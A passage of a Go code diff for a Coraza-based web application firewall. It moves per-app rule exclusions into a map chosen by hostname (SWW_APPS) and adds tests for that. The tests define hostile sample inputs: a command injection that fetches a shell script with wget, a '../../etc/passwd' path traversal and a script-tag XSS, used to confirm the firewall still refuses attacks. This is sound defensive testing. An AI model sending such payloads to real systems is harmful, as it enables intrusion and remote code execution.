// rules. Their first rule skips to the marker they end with, unless
|
||||||
|
// Inspect sets the transaction variable named for the app, such as
|
||||||
|
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
||||||
|
// must check that variable itself.
|
||||||
|
directives string
|
||||||
|
// cookies are the cookies the Core Rule Set reads a request without.
|
||||||
|
cookies []string
|
||||||
|
// forkOf names the app this one is a fork of, "" for none. A hostname
|
||||||
|
// that lists this app gets that app's fixes too.
|
||||||
|
forkOf string
|
||||||
|
}
|
||||||
|
|
||||||
//go:embed gitea.conf
|
//go:embed gitea.conf
|
||||||
var giteaExclusions string
|
var giteaDirectives string
|
||||||
|
|
||||||
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed wordpress.conf
|
//go:embed wordpress.conf
|
||||||
var wordpressExclusions string
|
var wordpressDirectives string
|
||||||
|
|
||||||
// drupalExclusions are the tenth change: the fields of Drupal's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed drupal.conf
|
//go:embed drupal.conf
|
||||||
var drupalExclusions string
|
var drupalDirectives string
|
||||||
|
|
||||||
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
|
||||||
// own requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed mediawiki.conf
|
//go:embed mediawiki.conf
|
||||||
var mediawikiExclusions string
|
var mediawikiDirectives string
|
||||||
|
|
||||||
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed mastodon.conf
|
//go:embed mastodon.conf
|
||||||
var mastodonExclusions string
|
var mastodonDirectives string
|
||||||
|
|
||||||
// vaultwardenExclusions are the thirteenth change: the fields of
|
|
||||||
// Vaultwarden's own requests that skip the rules that refused them there, as
|
|
||||||
// Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed vaultwarden.conf
|
//go:embed vaultwarden.conf
|
||||||
var vaultwardenExclusions string
|
var vaultwardenDirectives string
|
||||||
|
|
||||||
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
|
||||||
// own requests that skip the rules that refused them there, the WebDAV
|
|
||||||
// methods it uses, its cookie of the account's name, and its uploads,
|
|
||||||
// whose bodies are not read, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed nextcloud.conf
|
//go:embed nextcloud.conf
|
||||||
var nextcloudExclusions string
|
var nextcloudDirectives string
|
||||||
|
|
||||||
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
|
|
||||||
// requests that skip the rules that refused them there, where Forgejo differs
|
|
||||||
// from gitea, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed forgejo.conf
|
//go:embed forgejo.conf
|
||||||
var forgejoExclusions string
|
var forgejoDirectives string
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
||||||
// without, the rest of the fifth change. flash is Forgejo's name for
|
// flash is Forgejo's name for gitea_flash.
|
||||||
// gitea_flash.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a map
|
||||||
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
|
var apps = map[string]app{
|
||||||
|
"drupal": {directives: drupalDirectives},
|
||||||
|
"forgejo": {
|
||||||
|
directives: forgejoDirectives,
|
||||||
|
cookies: []string{"flash"},
|
||||||
|
forkOf: "gitea",
|
||||||
|
},
|
||||||
|
"gitea": {
|
||||||
|
directives: giteaDirectives,
|
||||||
|
cookies: []string{"gitea_flash", "redirect_to"},
|
||||||
|
},
|
||||||
|
"mastodon": {directives: mastodonDirectives},
|
||||||
|
"mediawiki": {directives: mediawikiDirectives},
|
||||||
|
"nextcloud": {directives: nextcloudDirectives},
|
||||||
|
"vaultwarden": {directives: vaultwardenDirectives},
|
||||||
|
"wordpress": {directives: wordpressDirectives},
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppNames returns the names of the apps whose fixes sww has, in
|
||||||
|
// alphabetical order.
|
||||||
|
func AppNames() []string {
|
||||||
|
return slices.Sorted(maps.Keys(apps))
|
||||||
|
}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -270,6 +227,11 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
|
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
|
||||||
|
// apps and of the apps they are forks of, or of every app while Apps is
|
||||||
|
// nil.
|
||||||
|
Apps map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -372,13 +334,17 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
|
// appsByHostname are the names of the apps each hostname serves, by
|
||||||
|
// hostname in lowercase (SWW_APPS), nil while SWW_APPS is unset.
|
||||||
|
appsByHostname map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the fifteen changes, at params'
|
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// request bodies up to params' limit, and with params' exclusions file
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||||
// cannot be read or does not parse, or if checkExclusions refuses it.
|
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||||
|
// it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -401,10 +367,13 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var fixes strings.Builder
|
||||||
|
for _, name := range AppNames() {
|
||||||
|
fixes.WriteString(apps[name].directives + "\n")
|
||||||
|
}
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
fixes.String())
|
||||||
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
|
||||||
nextcloudExclusions, forgejoExclusions)
|
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -422,7 +391,11 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
return &CoreRuleSet{
|
||||||
|
engine: engine,
|
||||||
|
bodyLimit: params.BodyLimit,
|
||||||
|
appsByHostname: params.Apps,
|
||||||
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -434,11 +407,12 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
// Inspect runs the Core Rule Set on r, a request from client, with the
|
||||||
// method, its URL with the query, and its headers, the Cookie header
|
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
||||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
// with the query, and its headers, the Cookie header without those apps'
|
||||||
// caller has it, as readBody reads it. It returns what it found, what it
|
// cookies, and on body, r's body as the caller has it, as readBody reads
|
||||||
// read of body, and the error that ended the reading early, if one did.
|
// it. It returns what it found, what it read of body, and the error that
|
||||||
|
// ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -446,13 +420,24 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
|
// The transaction's variables are set only through Coraza's interface
|
||||||
|
// for plugins.
|
||||||
|
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||||
|
|
||||||
|
var cookiesNotRead []string
|
||||||
|
|
||||||
|
for _, name := range c.appsFor(r.Host) {
|
||||||
|
state.Variables().TX().Set("app_"+name, []string{"1"})
|
||||||
|
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
||||||
|
}
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookiesNotRead(value)
|
value = withoutCookies(value, cookiesNotRead)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -548,9 +533,35 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
// appsFor returns the names of the apps whose fixes a request for host,
|
||||||
// cookies in cookiesNotRead.
|
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
||||||
func withoutCookiesNotRead(value string) string {
|
// those SWW_APPS lists for host's name, without the port and in
|
||||||
|
// lowercase, each followed by the app it is a fork of, if any.
|
||||||
|
func (c *CoreRuleSet) appsFor(host string) []string {
|
||||||
|
if c.appsByHostname == nil {
|
||||||
|
return AppNames()
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname, _, err := net.SplitHostPort(host)
|
||||||
|
if err != nil {
|
||||||
|
hostname = host // it has no port
|
||||||
|
}
|
||||||
|
|
||||||
|
var names []string
|
||||||
|
|
||||||
|
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
|
||||||
|
names = append(names, name)
|
||||||
|
if apps[name].forkOf != "" {
|
||||||
|
names = append(names, apps[name].forkOf)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return names
|
||||||
|
}
|
||||||
|
|
||||||
|
// withoutCookies returns value, a Cookie header's, without the cookies
|
||||||
|
// named in cookiesNotRead.
|
||||||
|
func withoutCookies(value string, cookiesNotRead []string) string {
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
@@ -45,14 +45,16 @@ var loaded = struct {
|
|||||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||||
|
|
||||||
// loaderFor returns the function that loads the Core Rule Set with params
|
// loaderFor returns the function that loads the Core Rule Set with params
|
||||||
// once, making it the first time params are asked for.
|
// once, making it the first time params are asked for. %#v writes a nil
|
||||||
|
// Apps, which gives every app's fixes, apart from an empty one, which
|
||||||
|
// gives none.
|
||||||
func loaderFor(
|
func loaderFor(
|
||||||
params coreruleset.Params,
|
params coreruleset.Params,
|
||||||
) func() (*coreruleset.CoreRuleSet, error) {
|
) func() (*coreruleset.CoreRuleSet, error) {
|
||||||
loaded.Lock()
|
loaded.Lock()
|
||||||
defer loaded.Unlock()
|
defer loaded.Unlock()
|
||||||
|
|
||||||
settings := fmt.Sprintf("%+v", params)
|
settings := fmt.Sprintf("%#v", params)
|
||||||
|
|
||||||
load, found := loaded.loaders[settings]
|
load, found := loaded.loaders[settings]
|
||||||
if !found {
|
if !found {
|
||||||
@@ -191,9 +193,10 @@ func inspectBody(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, header := range r.headers {
|
for _, header := range r.headers {
|
||||||
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
||||||
|
// whatever their case.
|
||||||
name, value, _ := strings.Cut(header, ": ")
|
name, value, _ := strings.Cut(header, ": ")
|
||||||
switch name {
|
switch http.CanonicalHeaderKey(name) {
|
||||||
case "Host":
|
case "Host":
|
||||||
req.Host = value
|
req.Host = value
|
||||||
case "Transfer-Encoding":
|
case "Transfer-Encoding":
|
||||||
@@ -252,8 +255,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// fifteen changes is for, and still finds result in refused, a request like
|
// five changes or an app's fixes are for, and still finds result in
|
||||||
// it that the change is not for.
|
// refused, a request like it that they are not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
result coreruleset.Result,
|
result coreruleset.Result,
|
||||||
@@ -613,6 +616,166 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|||||||
matched(930120, 932160))
|
matched(930120, 932160))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
||||||
|
// for each kind of fix, each with what the Core Rule Set finds in it
|
||||||
|
// without them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var giteaFixed = []struct {
|
||||||
|
request request
|
||||||
|
result coreruleset.Result
|
||||||
|
}{
|
||||||
|
// A search of code, on the path of gitea's search.
|
||||||
|
{
|
||||||
|
get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"),
|
||||||
|
matched(942100),
|
||||||
|
},
|
||||||
|
// A file name, in a parameter gitea sends names in, on any path.
|
||||||
|
{get("/?path=.gitignore"), matched(930120)},
|
||||||
|
// A file name, in a cookie of gitea's.
|
||||||
|
{
|
||||||
|
get(
|
||||||
|
"/owner/repo",
|
||||||
|
"Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted",
|
||||||
|
),
|
||||||
|
matched(930120),
|
||||||
|
},
|
||||||
|
// A page opened from the page of a file named for a Java class.
|
||||||
|
{
|
||||||
|
get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+
|
||||||
|
"java.lang.String.md"),
|
||||||
|
matched(944130),
|
||||||
|
},
|
||||||
|
// An image push that reuses a layer, naming the image the layer comes from.
|
||||||
|
{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
|
||||||
|
}
|
||||||
|
|
||||||
|
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
||||||
|
// one that serves another app.
|
||||||
|
const (
|
||||||
|
giteaHost = "git.example"
|
||||||
|
otherHost = "blog.example"
|
||||||
|
)
|
||||||
|
|
||||||
|
// gitea is gitea's name in SWW_APPS.
|
||||||
|
const gitea = "gitea"
|
||||||
|
|
||||||
|
// wordpress is WordPress's name in SWW_APPS.
|
||||||
|
const wordpress = "wordpress"
|
||||||
|
|
||||||
|
// withHost returns r sent to host.
|
||||||
|
func withHost(r request, host string) request {
|
||||||
|
return request{
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
append([]string{"Host: " + host}, r.headers...),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
||||||
|
// giving apps.
|
||||||
|
func servingApps(
|
||||||
|
t *testing.T,
|
||||||
|
apps map[string][]string,
|
||||||
|
) *coreruleset.CoreRuleSet {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
return shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, nil)
|
||||||
|
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
for _, host := range []string{giteaHost, otherHost} {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, host),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
||||||
|
|
||||||
|
// The hostname is matched without the port and without regard to case.
|
||||||
|
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, host),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, apps := range []map[string][]string{
|
||||||
|
{giteaHost: {gitea}},
|
||||||
|
// SWW_APPS set empty lists no hostname.
|
||||||
|
{},
|
||||||
|
} {
|
||||||
|
crs := servingApps(t, apps)
|
||||||
|
|
||||||
|
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, host),
|
||||||
|
fixed.result,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {wordpress},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only WordPress's fixes let through.
|
||||||
|
search := get("/?s=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
||||||
|
|
||||||
|
// A file name that only gitea's fixes let through, and a search that only
|
||||||
|
// WordPress's fixes let through.
|
||||||
|
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(get(target), giteaHost),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||||
// exclusions file at path.
|
// exclusions file at path.
|
||||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||||
@@ -752,11 +915,15 @@ const passwordKey = "password"
|
|||||||
// retypeKey is the field in which apps take the same password again.
|
// retypeKey is the field in which apps take the same password again.
|
||||||
const retypeKey = "retype"
|
const retypeKey = "retype"
|
||||||
|
|
||||||
|
// htaccess is the name of a web server's settings file, which the list of
|
||||||
|
// system files (930120) holds.
|
||||||
|
const htaccess = ".htaccess"
|
||||||
|
|
||||||
// hardValues are words that name commands and files, as a query or form
|
// hardValues are words that name commands and files, as a query or form
|
||||||
// value. An app's tests check that its fields let them through.
|
// value. An app's tests check that its fields let them through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
|
||||||
|
|
||||||
// randomPassword returns a password of 20 characters, each one of the 95
|
// randomPassword returns a password of 20 characters, each one of the 95
|
||||||
// printable ASCII characters, space included, drawn from random.
|
// printable ASCII characters, space included, drawn from random.
|
||||||
@@ -1481,7 +1648,7 @@ func wordpressWords() []struct {
|
|||||||
value string
|
value string
|
||||||
rule int
|
rule int
|
||||||
}{
|
}{
|
||||||
{".htaccess", 930120},
|
{htaccess, 930120},
|
||||||
{"powershell", 932120},
|
{"powershell", 932120},
|
||||||
{"ls -la", 932250},
|
{"ls -la", 932250},
|
||||||
{"python3", 932260},
|
{"python3", 932260},
|
||||||
@@ -2154,6 +2321,9 @@ const scriptTag = "<script>alert(1)</script>"
|
|||||||
// pathTraversal is a path traversal, not escaped.
|
// pathTraversal is a path traversal, not escaped.
|
||||||
const pathTraversal = "../../etc/passwd"
|
const pathTraversal = "../../etc/passwd"
|
||||||
|
|
||||||
|
// shellCommand is commandInjection, not escaped.
|
||||||
|
const shellCommand = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
@@ -2423,6 +2593,222 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// nameInBody is a name gitea or Forgejo sends in field of a body to path.
|
||||||
|
// contentType is formData or jsonBody.
|
||||||
|
type nameInBody struct{ path, contentType, field, name string }
|
||||||
|
|
||||||
|
// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
|
||||||
|
// skips the rules that refused them there: a file's path or text, a commit's
|
||||||
|
// summary or message, and the branch names of giteaBranchNamesInBodies.
|
||||||
|
func giteaNamesInBodies() []nameInBody {
|
||||||
|
const (
|
||||||
|
repo = "/alice/tools"
|
||||||
|
api = "/api/v1/repos/alice/tools"
|
||||||
|
|
||||||
|
// Fields that several paths send.
|
||||||
|
treePath = "tree_path"
|
||||||
|
commitSummary = "commit_summary"
|
||||||
|
message = "message"
|
||||||
|
)
|
||||||
|
|
||||||
|
// A file's path or text, or a commit's summary or message.
|
||||||
|
texts := []nameInBody{
|
||||||
|
{
|
||||||
|
repo + "/_edit/main/compose.yml",
|
||||||
|
formData,
|
||||||
|
treePath,
|
||||||
|
"docker-compose.yml",
|
||||||
|
},
|
||||||
|
{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
|
||||||
|
{
|
||||||
|
repo + "/_edit/main/scripts/install-script.sh", formData,
|
||||||
|
treePath, "scripts/install-script.sh",
|
||||||
|
},
|
||||||
|
{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
|
||||||
|
{
|
||||||
|
repo + "/_delete/main/.htaccess",
|
||||||
|
formData,
|
||||||
|
commitSummary,
|
||||||
|
"Remove .htaccess",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
repo + "/_new/main/",
|
||||||
|
formData,
|
||||||
|
"content",
|
||||||
|
"# Setup\r\n\r\nInstall the tools.\r\n",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
repo + "/_preview/main/docs/setup.md",
|
||||||
|
formData,
|
||||||
|
"content",
|
||||||
|
"# Setup\r\n\r\nInstall the tools.\r\n",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
repo + "/_upload/main/scripts/powershell",
|
||||||
|
formData,
|
||||||
|
treePath,
|
||||||
|
"scripts/powershell",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
repo + "/_upload/main/scripts/powershell", formData,
|
||||||
|
commitSummary, "Add a PowerShell build script",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
repo + "/_cherrypick/6b02ec9/main",
|
||||||
|
formData,
|
||||||
|
commitSummary,
|
||||||
|
"Document .htaccess",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
api + "/contents/scripts/powershell-build.ps1", jsonBody,
|
||||||
|
message, "Add a PowerShell build script",
|
||||||
|
},
|
||||||
|
{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
|
||||||
|
{
|
||||||
|
api + "/contents",
|
||||||
|
jsonBody,
|
||||||
|
message,
|
||||||
|
"Add the PowerShell setup notes",
|
||||||
|
},
|
||||||
|
{api + "/contents", jsonBody, message, "Document .htaccess"},
|
||||||
|
}
|
||||||
|
|
||||||
|
return slices.Concat(texts, giteaBranchNamesInBodies())
|
||||||
|
}
|
||||||
|
|
||||||
|
// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in
|
||||||
|
// a body field that skips the rules that refused them there. Each field comes
|
||||||
|
// with a name for each rule it skips: feat/docker-support for the command
|
||||||
|
// names (932260), and fix-powershell-module for the Windows commands (932120).
|
||||||
|
func giteaBranchNamesInBodies() []nameInBody {
|
||||||
|
const (
|
||||||
|
repo = "/alice/tools"
|
||||||
|
api = "/api/v1/repos/alice/tools"
|
||||||
|
|
||||||
|
// Fields that several paths send.
|
||||||
|
branch = "branch"
|
||||||
|
newBranchName = "new_branch_name"
|
||||||
|
)
|
||||||
|
|
||||||
|
branchFields := []struct{ path, contentType, field string }{
|
||||||
|
{repo + "/_edit/main/compose.yml", formData, newBranchName},
|
||||||
|
{repo + "/_new/main/", formData, newBranchName},
|
||||||
|
{repo + "/_delete/main/.htaccess", formData, newBranchName},
|
||||||
|
{repo + "/_upload/main/docs", formData, newBranchName},
|
||||||
|
{repo + "/_diffpatch/main/", formData, newBranchName},
|
||||||
|
{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
|
||||||
|
{repo + "/branches/_new/branch/main", formData, newBranchName},
|
||||||
|
{repo + "/branches/rename", formData, "from"},
|
||||||
|
{repo + "/branches/rename", formData, "to"},
|
||||||
|
// Forgejo's path for renaming a branch.
|
||||||
|
{repo + "/settings/rename_branch", formData, "from"},
|
||||||
|
{repo + "/settings/rename_branch", formData, "to"},
|
||||||
|
{api + "/branches", jsonBody, newBranchName},
|
||||||
|
{api + "/branches", jsonBody, "old_branch_name"},
|
||||||
|
{api + "/branches", jsonBody, "old_ref_name"},
|
||||||
|
{api + "/pulls", jsonBody, "head"},
|
||||||
|
{api + "/pulls", jsonBody, "base"},
|
||||||
|
{api + "/pulls/1", jsonBody, "base"},
|
||||||
|
{api + "/contents/docs/notes.md", jsonBody, branch},
|
||||||
|
{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
|
||||||
|
{api + "/contents", jsonBody, branch},
|
||||||
|
{api + "/contents", jsonBody, "new_branch"},
|
||||||
|
}
|
||||||
|
|
||||||
|
branchNames := []string{"feat/docker-support", "fix-powershell-module"}
|
||||||
|
|
||||||
|
names := make([]nameInBody, 0, len(branchFields)*len(branchNames))
|
||||||
|
|
||||||
|
for _, f := range branchFields {
|
||||||
|
for _, name := range branchNames {
|
||||||
|
names = append(
|
||||||
|
names,
|
||||||
|
nameInBody{f.path, f.contentType, f.field, name},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return names
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
|
||||||
|
// gitea and Forgejo name a file or a branch. Each lets through the name that
|
||||||
|
// was refused there, and still refuses a shell command after a ";" and a path
|
||||||
|
// traversal. The same name is still refused in another field on the same path,
|
||||||
|
// and in the field itself when the query has a parameter of the field's name.
|
||||||
|
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
for _, tc := range giteaNamesInBodies() {
|
